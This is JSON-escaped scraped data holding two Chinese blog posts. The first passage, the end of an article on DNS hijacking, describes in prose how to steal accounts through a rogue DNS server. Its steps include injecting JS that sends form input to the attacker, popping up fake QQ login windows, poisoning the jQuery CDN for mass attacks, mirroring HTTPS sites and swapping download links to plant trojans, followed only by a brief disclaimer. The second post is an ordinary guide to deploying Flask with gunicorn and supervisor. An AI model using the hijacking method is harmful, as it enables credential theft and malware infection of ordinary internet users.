u7f51\u3002\r\n</p>\r\n<p>\r\n\tDNS\u670d\u52a1\u5668\u642d\u5efa\u53ef\u4ee5\u4f7f\u7528\u6d41\u884c\u7684\u4e91\u670d\u52a1\u5668\uff0c\u8bf7\u6ce8\u610f\uff0c\u963f\u91cc\u4e91\u670d\u52a1\u5668\u662f\u4e0d\u5141\u8bb8\u642d\u5efaDNS\u670d\u52a1\u5668\u7684\uff0c\u4e00\u65e6\u6d41\u91cf\u5927\u4e86\uff0c\u963f\u91cc\u4e91\u4f1a\u628a\u4f60\u7684\u673a\u5668\u8bc6\u522b\u6210DDOS\u653b\u51fb\u6e90\uff0c\u56e0\u4e3aDNS\u670d\u52a1\u5668\u7684\u5de5\u4f5c\u673a\u5236\u4e0eDDOS\u653b\u51fb\u884c\u4e3a\u975e\u5e38\u5f62\u4f3c\uff0c\u6240\u4ee5\u9009\u62e9\u5408\u9002\u7684\u670d\u52a1\u5668\u5f88\u91cd\u8981\u3002\r\n</p>\r\n<p>\r\n\tDNS\u670d\u52a1\u5668\u642d\u5efa\u4f7f\u7528bind9\u8fd9\u4e2a\u8f6f\u4ef6\uff0c\u5177\u4f53\u642d\u5efa\u8fc7\u7a0b\u4e0d\u518d\u63cf\u8ff0\uff0c\u7f51\u4e0a\u90fd\u6709\u5bf9\u5e94\u7684\u6587\u7ae0\uff0c\u8bb0\u5f97\u4e00\u5b9a\u8981\u5f00\u542f\u89e3\u6790\u8bb0\u5f55\u65e5\u5fd7\uff0c\u8fd9\u5bf9\u4f60\u5206\u6790\u5ba2\u6237\u7aef\u4e0a\u7f51\u884c\u4e3a\u5f88\u6709\u5e2e\u52a9\u3002\r\n</p>\r\n<p>\r\n\tDNS\u670d\u52a1\u5668\u642d\u5efa\u5b8c\u6210\u4e4b\u540e\u4f60\u5c31\u53ef\u4ee5\u6e05\u695a\u7684\u770b\u5230\u5ba2\u6237\u7aef\u7684\u89e3\u6790\u8bb0\u5f55\uff0c\u4e0a\u4e86\u54ea\u4e2a\u7f51\u7ad9\uff0c\u4ec0\u4e48\u65f6\u95f4\u4e0a\u53bb\u7684\u90fd\u6709\u3002\r\n</p>\r\n<p>\r\n\t\u5982\u679c\u4e00\u5207\u987a\u5229\uff0c\u8fd9\u4e2a\u65f6\u5019\u5ba2\u6237\u7aef\u8bbe\u5907\u901a\u8fc7\u4f60\u7684DNS\u670d\u52a1\u5668\u5df2\u7ecf\u80fd\u591f\u6b63\u5e38\u4e0a\u7f51\u4e86\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u5173\u952e\u6027\u7684\u9493\u9c7c\u9636\u6bb5\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u9493\u9c7c\u7684\u65b9\u5f0f\u5f88\u591a\u79cd\uff0c\u6700\u5e38\u89c1\u7684\u5c31\u662f\u76f4\u63a5\u5728\u7f51\u7ad9\u9875\u9762\u91cc\u9762\u5199\u5165js\u4ee3\u7801\uff0c\u4f60\u53ef\u4ee5\u76d1\u63a7\u9875\u9762\u7684\u8f93\u5165\u6846\uff0c\u7528\u6237\u8f93\u5165\u7684\u4fe1\u606f\u76f4\u63a5\u53d1\u9001\u5230\u4f60\u7684\u670d\u52a1\u5668\uff0c\u4f60\u4e5f\u53ef\u4ee5\u76f4\u63a5\u5f39\u51fa\u4e00\u4e2a\u5047\u7684\u4f7f\u7528QQ\u767b\u5f55\u7684\u7a97\u53e3\uff0c\u5f88\u5bb9\u6613\u62ff\u5230QQ\u8d26\u53f7\u5bc6\u7801\uff0c\u5f53\u7136\uff0c\u5176\u4ed6\u7684\u8d26\u53f7\u5bc6\u7801\u4e5f\u5f88\u7b80\u5355\u3002\r\n</p>\r\n<p>\r\n\t\u5047\u8bbe\u4f60\u624b\u91cc\u6709\u5927\u91cf\u7684\u8def\u7531\u5668\u8bbe\u5907\uff0c\u4f60\u60f3\u5927\u89c4\u6a21\u7684\u9493\u9c7c\u6216\u8005\u6302\u9a6c\uff0c\u4f60\u53ef\u4ee5\u4f7f\u7528\u66f4\u7b80\u5355\u7684\u65b9\u5f0f\uff0c\u9996\u5148\u4f60\u6784\u5efa\u4e00\u4e2a\u5e26\u6709\u653b\u51fb\u6027\u7684js\uff0c\u7136\u540e\u5199\u5165\u5230jquery\u7684\u5e93\u91cc\u9762\uff0c\u66ff\u6362\u5230jquery\u7684CDN\u8fde\u63a5\uff0c\u8fd9\u6837\u7684\u8bdd\uff0c\u53ea\u8981\u6709\u7f51\u7ad9\u6709\u7528jquery\u7684cdn\uff0c\u90a3\u4e48\u5c31\u4f1a\u76f4\u63a5\u8c03\u7528\u4f60\u7684\u6076\u610f\u4ee3\u7801\uff0c\u5b9e\u73b0\u6279\u91cf\u653b\u51fb\u5f88\u8f7b\u677e\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u91cc\u9700\u8981\u63d0\u793a\u7684\u662f\uff0c\u5e76\u4e0d\u662f\u6240\u6709\u7684\u7f51\u7ad9\u90fd\u53ef\u4ee5\u8fd9\u4e48\u505a\uff0chttps\u5b89\u5168\u8fde\u63a5\u7684\u7f51\u7ad9\u4f60\u662f\u65e0\u6cd5\u505a\u5230\u76f4\u63a5\u66ff\u6362\u5185\u5bb9\u7684\uff0c\u4f46\u662f\u4f60\u4f9d\u7136\u53ef\u4ee5\u4ee3\u7528\u53e6\u5916\u4e00\u79cd\u65b9\u5f0f\u5b9e\u73b0\uff0c\u4e5f\u5c31\u662f\u5e38\u89c1\u7684google\u955c\u50cf\u539f\u7406\uff0c\u8fd9\u79cd\u65b9\u6cd5\u7684\u5f0a\u7aef\u5c31\u662f\u57df\u540d\u4f1a\u88ab\u66ff\u6362\uff0c\u4e0d\u80fd\u4f7f\u7528\u539f\u6765\u7684\u57df\u540d\u8bbf\u95ee\uff0c\u5bf9\u4e8e\u5c0f\u767d\u6765\u8bf4\u5f88\u5bb9\u6613\u4e2d\u62db\u3002\r\n</p>\r\n<p>\r\n\tnginx\u6ca1\u6709\u81ea\u5e26\u5185\u5bb9\u66ff\u6362\u7684\u6a21\u5757\uff0c\u9700\u8981\u81ea\u884c\u4e0b\u8f7d\u7f16\u8bd1\u5b89\u88c5\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u8bdd\r\n</h2>\r\n<p>\r\n\t\u524d\u9762\u8bf4\u7684\u90a3\u4e9b\u5df2\u7ecf\u57fa\u672c\u4e0a\u53ef\u4ee5\u641e\u5b9a\u5927\u90e8\u5206\u7f51\u7edc\u5c0f\u767d\u7684\u5404\u79cd\u8d26\u6237\u4fe1\u606f\u4e86\uff0c\u5f53\u7136\uff0cHTTPS\u7684\u666e\u53ca\u771f\u7684\u662f\u975e\u5e38\u6709\u5fc5\u8981\uff0c\u81f3\u5c11\u80fd\u591f\u8ba9\u4e00\u90e8\u5206\u4e0d\u662f\u592a\u767d\u7684\u4eba\u80fd\u4e00\u773c\u8bc6\u522b\u51fa\u6765\u3002\u5c0f\u5c0f\u7684DNS\u52ab\u6301\u5c31\u53ef\u4ee5\u76ee\u6807\u7684\u9690\u79c1\u5168\u90e8\u6cc4\u9732\uff0c\u4f60\u751a\u81f3\u53ef\u4ee5\u66ff\u6362\u8f6f\u4ef6\u7684\u4e0b\u8f7d\u8def\u5f84\uff0c\u79cd\u9a6c\uff0c\u76d1\u89c6\u76ee\u6807\u7684\u4e00\u4e3e\u4e00\u52a8\uff0c\u60f3\u60f3\u5c31\u5f88\u53ef\u6015\u3002\r\n</p>\r\n<h2>\r\n\t\u8b66\u544a\r\n</h2>\r\n<p>\r\n\t\u672c\u6587\u4ec5\u4ec5\u63cf\u8ff0\u4e86DNS\u52ab\u6301\u7684\u4e00\u4e9b\u601d\u8def\uff0c\u8bf7\u81ea\u89c9\u9075\u5b88\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4\uff0c\u4efb\u4f55\u975e\u6cd5\u653b\u51fb\u884c\u4e3a\u5bfc\u81f4\u7684\u540e\u679c\u5747\u4e0e\u672c\u4eba\u65e0\u5173\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23440 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u963f\u91cc\u4e91\u5feb\u901f\u90e8\u7f72Flask\u5e94\u7528"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2017-02-24, 5:07 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u5728\u535a\u5ba2\u4e0a\u5199\u8fc7\u4f7f\u7528Python <a href=\"https://www.92ez.com/?action=article&tag=flask\" onclick=\"javascript:tagshow('flask');return false;\">flask</a>\u8fdb\u884cweb\u7684\u5f00\u53d1\uff0c\u5f53\u65f6\u7531\u4e8e\u65f6\u95f4\u5173\u7cfb\u5e76\u6ca1\u6709\u5199\u5b9e\u9645\u751f\u4ea7\u73af\u5883\u4e2d\u8be5\u5982\u4f55\u90e8\u7f72Flask\u5e94\u7528\u3002\u8fd9\u7bc7\u6587\u7ae0\u5c31\u6765\u5199\u5199\u5728\u963f\u91cc\u4e91\u670d\u52a1\u5668\u4e0a\u5feb\u901f\u90e8\u7f72Flask\u5e94\u7528\u7684\u6b65\u9aa4\u3002\u00a0Flask + <a href=\"https://www.92ez.com/?action=article&tag=gunicorn\" onclick=\"javascript:tagshow('gunicorn');return false;\">gunicorn</a> + Nginx + <a href=\"https://www.92ez.com/?action=article&tag=supervisor\" onclick=\"javascript:tagshow('supervisor');return false;\">supervisor</a>\u90e8\u7f72 Python Flask \u5e94\u7528\uff0c\u5c31\u662f\u8fd9\u4e48\u7b80\u5355\u7c97\u66b4\uff01\r\n</p>\r\n<h2>\r\n\t\u56de\u987e\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u5199\u8fc7\u7684\u4e00\u7bc7\u4f7f\u7528Flask\u5f00\u53d1web\u7684\u6587\u7ae0\uff0c\u4f20\u9001\u95e8 <a href=\"http://www.92ez.com/?action=show&id=23423\" target=\"_blank\">\u4f7f\u7528flask\u6765\u505a\u4e00\u4e2a\u5c0f\u5e94\u7528 </a>\uff0c\u5728\u8fd9\u7bc7\u6587\u7ae0\u4e2d\u6211\u5199\u5230\u4e86\u4f7f\u7528Flask\u5feb\u901f\u6784\u5efa\u4e00\u4e2a\u53ef\u5728\u7ebf\u4f7f\u7528\u7684\u5c0f\u5e94\u7528\uff0c\u800c\u4e14\u5728\u6211\u7684Github\u4e0a\u6709\u4e9b\u9879\u76ee\u90fd\u4f7f\u7528\u4e86Flask\u8fdb\u884c\u7f16\u5199\uff0cFlask\u7684\u6613\u7528\u6027\u4f7f\u5f97\u5f00\u53d1WEB\u670d\u52a1\u53d8\u5f97\u975e\u5e38\u7b80\u5355\u5feb\u901f\u3002\r\n</p>\r\n<p>\r\n\t\u5728\u4e4b\u524d\u7684\u6587\u7ae0\u4e2d\u6211\u4f7f\u7528\u4e86Flask\u81ea\u5e26\u7684web\u670d\u52a1\u5668\u63d0\u4f9bWEB\u670d\u52a1\uff0cFlask\u81ea\u5e26\u7684web\u670d\u52a1\u5668\u672c\u8eab\u6027\u80fd\u662f\u5f88\u5dee\u52b2\u7684\uff0c\u5b98\u65b9\u8bf4\u660e\u6709\u63d0\u5230\u8bf4\u81ea\u5e26\u7684web\u670d\u52a1\u5668\u53ea\u9002\u5408\u5f00\u53d1\u65f6\u5019\u4f7f\u7528\uff0c\u5728\u5b9e\u9645\u751f\u4ea7\u73af\u5883\u4e2d\u4e0d\u5efa\u8bae\u4f7f\u7528\uff0c\u6240\u4ee5\u6211\u4eec\u5fc5\u987b\u4f7f\u7528\u5176\u4ed6\u7684WEB\u670d\u52a1\u5668\u4f5c\u4e3a\u652f\u6491\u3002\r\n</p>\r\n<h2>\r\n\t\u73af\u5883\r\n</h2>\r\n<p>\r\n\t\u6211\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u963f\u91cc\u4e91\u670d\u52a1\u5668\uff0c\u7cfb\u7edf\u662fCentOS 7.2\uff0cPython \u81ea\u5e26\u7248\u672c\u4e3a 2.7.5\uff0c\u4e3a\u4e86\u65b9\u4fbf\u6211\u4f7f\u7528\uff0c\u5c06\u5176\u5347\u7ea7\u5230\u4e86 Python 2.7.12\uff0c\u5177\u4f53\u5347\u7ea7\u65b9\u6cd5\u89c1\u8fd9\u7bc7\u6587\u7ae0\uff0c\u4f20\u9001\u95e8\u00a0 <a href=\"http://www.cnblogs.com/alex-xia/p/6062741.html\" target=\"_blank\">CentOS7.2\u5b89\u88c5python2.7.12</a>\uff0c\u5728\u6b64\u611f\u8c22\u6587\u7ae0\u4f5c\u8005\u63d0\u4f9b\u7684\u5e2e\u52a9\u3002\r\n</p>\r\n<p>\r\n\t\u5347\u7ea7pip\u5230\u6700\u65b0\u7248\u672c\r\n</p>\r\n<p>\r\n\t\u5b89\u88c5 Flask\r\n</p>\r\n<p>\r\n</p><pre class=\"brush:bash;\">pip install flask</pre>\r\n\r\n<p>\r\n\t\u5b89\u88c5 Gunicorn\r\n</p>\r\n<p>\r\n</p><pre class=\"brush:bash;\">sudo yum install python-gunicorn</pre>\r\n\r\n<p>\r\n\t\u5b89\u88c5 Supervisor\r\n</p>\r\n<p>\r\n</p><pre class=\"brush:bash;\">sudo yum -y install supervisor</pre>\r\n\r\n<p>\r\n\t\u5b89\u88c5 Nginx \uff08\u5982\u679c\u8fd8\u6709\u5176\u4ed6\u9879\u76ee\u5728\u8dd1\uff0c\u6bd4\u5982PHP\u7684\uff0c\u53ef\u4ee5\u76f4\u63a5\u5b89\u88c5lnmp\uff09\r\n</p>\r\n<p>\r\n\t\u6211\u5728\u4e4b\u524d\u7684\u6587\u7ae0\u4e2d\u5df2\u7ecf\u63d0\u5230\u4f7f\u7528Python \u865a\u62df\u73af\u5883\u8fd0\u884cFlask\uff0c\u8fd9\u91cc\u6211\u4eec\u540c\u6837\u4f7f\u7528Python\u7684\u865a\u62df\u73af\u5883\u6765\u8fd0\u884c\uff0c\u5177\u4f53\u8fc7\u7a0b\u4e0d\u518d\u63cf\u8ff0\u3002\r\n</p>\r\n<h2>\r\n\t\u914d\u7f6e\r\n</h2>\r\n<p>\r\n\t\u5047\u8bbe\u4f60\u5df2\u7ecf\u914d\u7f6e\u597d\u4e86Python\u7684\u865a\u62df\u73af\u5883\uff0c\u5e76\u4e14\u4f7f\u7528 Python app.py \u6765\u6d4b\u8bd5\uff0c\u4f7f\u7528\u6d4f\u89c8\u5668\u901a\u8fc7 http://ip:5000 \u7684\u65b9\u5f0f\u80fd\u770b\u5230\u4f60\u7684Flask\u5219\u8bf4\u660e\u4f60\u7684\u57fa\u672c\u73af\u5883\u5df2\u7ecf\u914d\u7f6e\u5b8c\u6210\u3002\r\n</p>\r\n<p>\r\n\t\u524d\u9762\u8bf4\u4e86Flask\u81ea\u5e26\u7684web\u670d\u52a1\u5668\u6027\u80fd\u592a\u5dee\uff0c\u8fd9\u91cc\u5c31\u8981\u501f\u52a9\u7b2c\u4e09\u65b9\u7684web\u670d\u52a1\u5668\u4e86\uff0c\u6211\u8fd9\u91cc\u4f7f\u7528Gunicorn\u6765\u4f5c\u4e3a\u7b2c\u4e09\u65b9\u670d\u52a1\u5668\uff0c\u5173\u4e8eGunicorn\u7684\u4ecb\u7ecd\uff0c\u53ef\u4ee5\u5728\u8fd9\u91cc\u67e5\u770b <a href=\"https://www.zhihu.com/question/38528616\" target=\"_blank\">https://www.zhihu.com/question/38528616</a> \uff0cNginx\u7684\u4f5c\u7528\u5c31\u4e0d\u518d\u591a\u8bf4\u4e86\uff0c\u76f8\u4fe1\u914d\u7f6e\u8fc7web\u670d\u52a1\u5668\u7684\u670b\u53cb\u90fd\u6e05\u695a\u4ed6\u662f\u5e72\u5565\u7684\uff0c\u6211\u8fd9\u91cc\u53ea\u662f\u7528\u6765\u505a\u7aef\u53e3\u8f6c\u53d1\u7528\u3002\r\n</p>\r\n<p>\r\n\tSupervisor \u662f\u4e2a\u795e\u5668\uff0c\u7b80\u5355\u70b9\u8bf4\u5c31\u662f\u4e00\u4e2a\u8fdb\u7a0b\u7ba1\u7406\u7684\uff0c\u5982\u679c\u4f60\u7684Python\u5e94\u7528\u6302\u4e86\uff0cGunicorn\u670d\u52a1\u5668\u6b7b\u4e86\uff0c\u90a3\u4e48Supervisor\u53ef\u4ee5\u5e2e\u4f60\u91cd\u65b0\u8d77\u4e00\u4e2a\uff0c\u8d77\u5230\u4e86\u4e00\u4e2a\u76d1\u89c6\u5668\u7684\u5de6\u53f3\u3002\r\n</p>\r\n<p>\r\n\tGunicorn \u7684\u4f7f\u7528\u975e\u5e38\u7684\u7b80\u5355\uff0c\u5148\u770b\u4e0b\u9762\u7684\u4e00\u6bb5\u547d\u4ee4\r\n</p>\r\n<pre class=\"brush:bash;\">gunicorn -w 4 -b 0.0.0.0:8080 twnews:application</pre>\r\n\u8fd9\u6761\u547d\u4ee4\u5c31\u53ef\u4ee5\u76f4\u63a5\u628aFlask\u5e94\u7528\u8dd1\u8d77\u6765\uff0c\u8bf4\u8bf4\u5404\u4e2a\u53c2\u6570\u5427\uff1a\r\n<p>\r\n\t-w 4 \u8fd9\u4e2a\u8ddfNginx\u7684 worker_processes \u662f\u4e00\u4e2a\u9053\u7406\uff0c\u8868\u793a\u540c\u65f6\u5f00\u542f\u591a\u5c11\u4e2a\u8fdb\u7a0b\uff0cNginx\u90a3\u8fb9\u4e00\u822c\u5efa\u8bae\u5199\u6210CPU\u6838\u5fc3\u6570\u76842\u500d\uff0c\u8fd9\u91cc\u54b1\u4eec\u4e5f\u8bbe\u7f6e2\u500d\u5427\u3002\r\n</p>\r\n<p>\r\n\t0.0.0.0:8080 \u8fd9\u4e2a\u5c31\u7b80\u5355\u4e86\uff0c0.0.0.0\u8fd9\u4e2a\u6307\u7684\u662f\u5f00\u653e\u6240\u6709\u5730\u5740\u90fd\u53ef\u4ee5\u8bbf\u95ee\uff0c8080\u5c31\u662f\u7aef\u53e3\u53f7\u54af\uff0c\u5f53\u7136\u7aef\u53e3\u53f7\u662f\u53ef\u4ee5\u6839\u636e\u9700\u8981\u8c03\u6574\u7684\uff0c\u524d\u9762\u7684\u90a3\u4e2aip\u5730\u5740\u6700\u597d\u4e0d\u8981\u6539\uff0c\u6539\u4e86\u53ef\u80fd\u5916\u7f51\u5c31\u65e0\u6cd5\u8bbf\u95ee\u4e86\u3002\r\n</p>\r\n<p>\r\n\ttwnews:application \u8fd9\u91cc\u7684twnews\u5c31\u662fFlask\u5e94\u7528\u7684\u6587\u4ef6\u540d\uff0c\u4e0d\u8981\u540e\u7f00\uff0capplication\u8fd9\u4e2a\u662f\u4e00\u4e2a\u5165\u53e3\uff0c\u544a\u8bc9Gunicorn\u8981\u4ece\u54ea\u91cc\u5f00\u59cb\uff0c\u6bd4\u5982\u6211\u7684\u4ee3\u7801\u662f\u8fd9\u4e48\u5199\u7684\r\n</p>\r\n<pre class=\"brush:py;\">app = Flask(__name__)\r\napplication = app</pre>\r\n\u597d\u4e86\uff0c\u5982\u679c\u5207\u6362\u5230Flask\u6240\u5728\u76ee\u5f55\uff0c\u6309\u7167\u4e0a\u9762\u90a3\u6761\u547d\u4ee4\u6267\u884c\uff0c\u4e0d\u51fa\u610f\u5916\u7684\u8bdd\u4f60\u5c31\u53ef\u4ee5\u5728\u6d4f\u89c8\u5668\u4e2d\u901a\u8fc7 http://ip:8080 \u8bbf\u95ee\u5230\u4f60\u7684Flask\u5e94\u7528\u4e86\u3002\r\n<p>\r\n\t\u4f46\u662f\u8fd9\u79cd\u65b9\u5f0f\u6bd5\u7adf\u4e0d\u662f\u5f88\u597d\uff0c\u670d\u52a1\u5668\u91cd\u542f\u4e4b\u540e\u53c8\u5f97\u91cd\u65b0\u6267\u884c\u4e00\u6b21\u547d\u4ee4\uff0c\u975e\u5e38\u9ebb\u70e6\uff0c\u6240\u4ee5\u54b1\u4eec\u5c31\u8981\u8ba9\u4ed6\u5f00\u673a\u542f\u52a8\u3002\r\n</p>\r\n<p>\r\n\t\u5f00\u673a\u542f\u52a8\u6709\u4e24\u79cd\u65b9\u6848\uff0c\u4e00\u79cd\u65b9\u6848\u662f\u76f4\u63a5\u5199\u4e2ashell\u811a\u672c\u653e\u5230/etc/init.d/\u4e0b\u9762\uff0c\u8fd9\u6837\u5c31\u4f1a\u81ea\u52a8\u6267\u884c\u4e86\u3002\u8fd9\u79cd\u65b9\u6848\u7684\u5f0a\u7aef\u5c31\u662f\u4e00\u65e6\u670d\u52a1\u6302\u4e86\uff0c\u90a3\u4e48\u5c31\u5f97\u624b\u52a8\u53bb\u91cd\u542f\u670d\u52a1\uff0c\u76f8\u5f53\u9ebb\u70e6\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e8c\u79cd\u65b9\u6848\u5c31\u662f\u4f7f\u7528Supervisor\uff0c\u5bf9\u8fdb\u7a0b\u8fdb\u884c\u76d1\u63a7\uff0c\u4e00\u65e6\u8fdb\u7a0b\u6302\u4e86\uff0c\u81ea\u52a8\u8d77\u65b0\u7684\u8fdb\u7a0b\uff0c\u4fdd\u8bc1\u670d\u52a1\u4e0d\u4f1a\u4e2d\u65ad\u3002\r\n</p>\r\n<p>\r\n\t\u914d\u7f6eSupervisor\u4e5f\u662f\u76f8\u5f53\u7684\u7b80\u5355\uff0c\u9996\u5148\u4f7f\u7528Supervisor\u81ea\u5e26\u7684\u547d\u4ee4\u628a\u914d\u7f6e\u6587\u4ef6\u5199\u5230/etc/\u4e0b\u9762\u53bb\r\n</p>\r\n<pre class=\"brush:bash;\">sudo echo_supervisord_conf > /etc/supervisord.conf</pre>\r\n\u4e0d\u51fa\u610f\u5916\u7684\u8bdd\u4f60\u4f1a\u770b\u5230\u63d0\u793a\u6ca1\u6709\u6743\u9650\uff0c\u4e0d\u8981\u60ca\u614c\uff0c\u5176\u5b9e\u8fd9\u4e2a\u65f6\u5019\u914d\u7f6e\u6587\u4ef6\u5df2\u7ecf\u5199\u8fdb\u53bb\u4e86\uff0c\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\r\n<pre class=\"brush:bash;\">cat /etc/supervisord.conf</pre>\r\n\u5728\u914d\u7f6e\u6587\u4ef6\u7684\u6700\u5e95\u4e0b\u6211\u53d1\u73b0\u8fd9\u6837\u4e00\u884c\r\n<pre class=\"brush:bash;\">[include]\r\nfiles = supervisord.d/*.ini</pre>\r\n<p>\r\n\t\u8fd9\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u53ea\u9700\u8981\u628a\u6211\u4eec\u7684Flask\u7ad9\u70b9\u7684\u914d\u7f6e\u6587\u4ef6\u653e\u5230/etc/supervisord.d/\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u9762\uff0c\u5c31\u4f1a\u81ea\u52a8\u52a0\u8f7d\uff0c\u8fd9\u91cc\u6211\u5728/etc/supervisord.d/\u4e0b\u9762\u521b\u5efa\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6 twnews.ini\uff0c\u5185\u5bb9\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">[program:twnews]\r\ncommand=gunicorn -w 4 -b 0.0.0.0:8080 twnews:application\r\ndirectory=/data0/flaskProjects/twnews/\r\nuser=root\r\nautostart=true\r\nautorestart=true\r\nredirect_stderr=true </pre>\r\n\u76f8\u5173\u53c2\u6570\u89e3\u91ca\u4e00\u4e0b\uff1a\r\n<p>\r\n\tprogram:twnews \u8fd9\u4e2a\u5c31\u662f\u7ed9\u4f60\u7684\u5e94\u7528\u53d6\u4e2a\u540d\u5b57\r\n</p>\r\n<p>\r\n\tcommand=gunicorn -w 4 -b 0.0.0.0:8080 twnews:application \u8fd9\u4e2a\u5c31\u4e0d\u7528\u8bf4\u4e86\uff0c\u628a\u670d\u52a1\u8dd1\u8d77\u6765\r\n</p>\r\n<p>\r\n\tdirectory=/data0/flaskProjects/twnews/ \u8fd9\u53e5\u5f88\u91cd\u8981\uff0c\u6307\u5b9a\u4e86gunicorn\u8981\u53bb\u54ea\u4e2a\u76ee\u5f55\u4e0b\u9762\u6267\u884c\u547d\u4ee4\r\n</p>\r\n<p>\r\n\tuser=root<br>\r\nautostart=true<br>\r\nautorestart=true<br>\r\nredirect_stderr=true <br>\r\n\u8fd9\u51e0\u4e2a\u5c31\u4e0d\u591a\u8bf4\u4e86\uff0c\u76f8\u4fe1\u670b\u53cb\u4eec\u4e00\u770b\u5c31\u61c2\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e2a\u65f6\u5019\u54b1\u4eec\u8fd8\u9700\u8981\u628asupervisor\u641e\u6210\u5f00\u673a\u542f\u52a8\uff0c\u6240\u4ee5\u5c31\u6709\u4e86\u8fd9\u4e2a\u811a\u672c\r\n</p>\r\n<pre class=\"brush:bash;\">#! /bin/bash -e\r\n\r\nSUPERVISORD=/usr/local/bin/supervisord\r\nPIDFILE=/tmp/supervisord.pid\r\nOPTS=\"-c /etc/supervisord.conf\"\r\n\r\ntest -x $SUPERVISORD || exit 0\r\n\r\n. /lib/lsb/init-functions\r\n\r\nexport PATH=\"${PATH:+$PATH:}/usr/local/bin:/usr/sbin:/sbin\"\r\n\r\ncase \"$1\" in\r\n start)\r\n log_begin_msg \"Starting Supervisor daemon manager...\"\r\n start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $SUPERVISORD -- $OPTS || log_end_msg 1\r\n log_end_msg 0\r\n ;;\r\n stop)\r\n log_begin_msg \"Stopping Supervisor daemon manager...\"\r\n start-stop-daemon --stop --quiet --oknodo --pidfile $PIDFILE || log_end_msg 1\r\n log_end_msg 0\r\n ;;\r\n\r\n restart|reload|force-reload)\r\n log_begin_msg \"Restarting Supervisor daemon manager...\"\r\n start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile $PIDFILE\r\n start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $SUPERVISORD -- $OPTS || log_end_msg 1\r\n log_end_msg 0\r\n ;;\r\n\r\n *)\r\n log_success_msg \"Usage: /etc/init.d/supervisor\r\n{start|stop|reload|force-reload|restart}\"\r\n exit 1\r\nesac\r\n\r\nexit 0</pre>\r\n\u636e\u8bf4\u662f\u5b98\u65b9\u63a8\u8350\u7684\u811a\u672c\uff0c\u5728 /etc/init.d/ \u76ee\u5f55\u4e0b\u9762\u5efa\u7acb supervisor \u6587\u4ef6\uff0c\u7136\u540e\u628a\u4e0a\u9762\u7684shell\u811a\u672c\u4ee3\u7801\u5199\u5165\u5230\u6587\u4ef6\u4e2d\uff0c\u7136\u540e\u6267\u884c\u4e0b\u9762\u7684\u4e09\u6761\u547d\u4ee4\u5c31OK\u4e86\r\n<pre class=\"brush:bash;\">sudo chmod +x /etc/init.d/supervisord # \u4f7f\u811a\u672c\u62e5\u6709\u53ef\u6267\u884c\u6743\u9650\r\nsudo systemctl enable supervisord.service #\u628a\u811a\u672c\u52a0\u5165\u5230\u5f00\u673a\u542f\u52a8\u9879\r\nsudo service supervisord start # \u542f\u52a8\u670d\u52a1</pre>\r\n\u6700\u540e\u4e00\u6b65\u5c31\u662f\u914d\u7f6eNginx\u7684\u7aef\u53e3\u8f6c\u53d1\u4e86\uff0c\u8fd9\u4e2a\u7f51\u4e0a\u76f8\u5173\u6587\u7ae0\u5f88\u591a\uff0c\u4e0d\u518d\u7d2f\u8ff0\u3002\r\n<h2>\r\n\t\u63a8\u8350\u9605\u8bfb\r\n</h2>\r\n<p>\r\n\t<a href=\"http://www.cnblogs.com/Ray-liang/p/4837850.html\" target=\"_blank\">http://www.cnblogs.com/Ray-liang/p/4837850.html</a><br>\r\n<a href=\"https://www.zhihu.com/question/38528616\" target=\"_blank\">https://www.zhihu.com/question/38528616</a><br>\r\n<a href=\"http://www.centoscn.com/CentOS/config/2015/0507/5374.html\" target=\"_blank\">http://www.centoscn.com/CentOS/config/2015/0507/5374.html</a> \r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23439 <br>\n <b>!!! 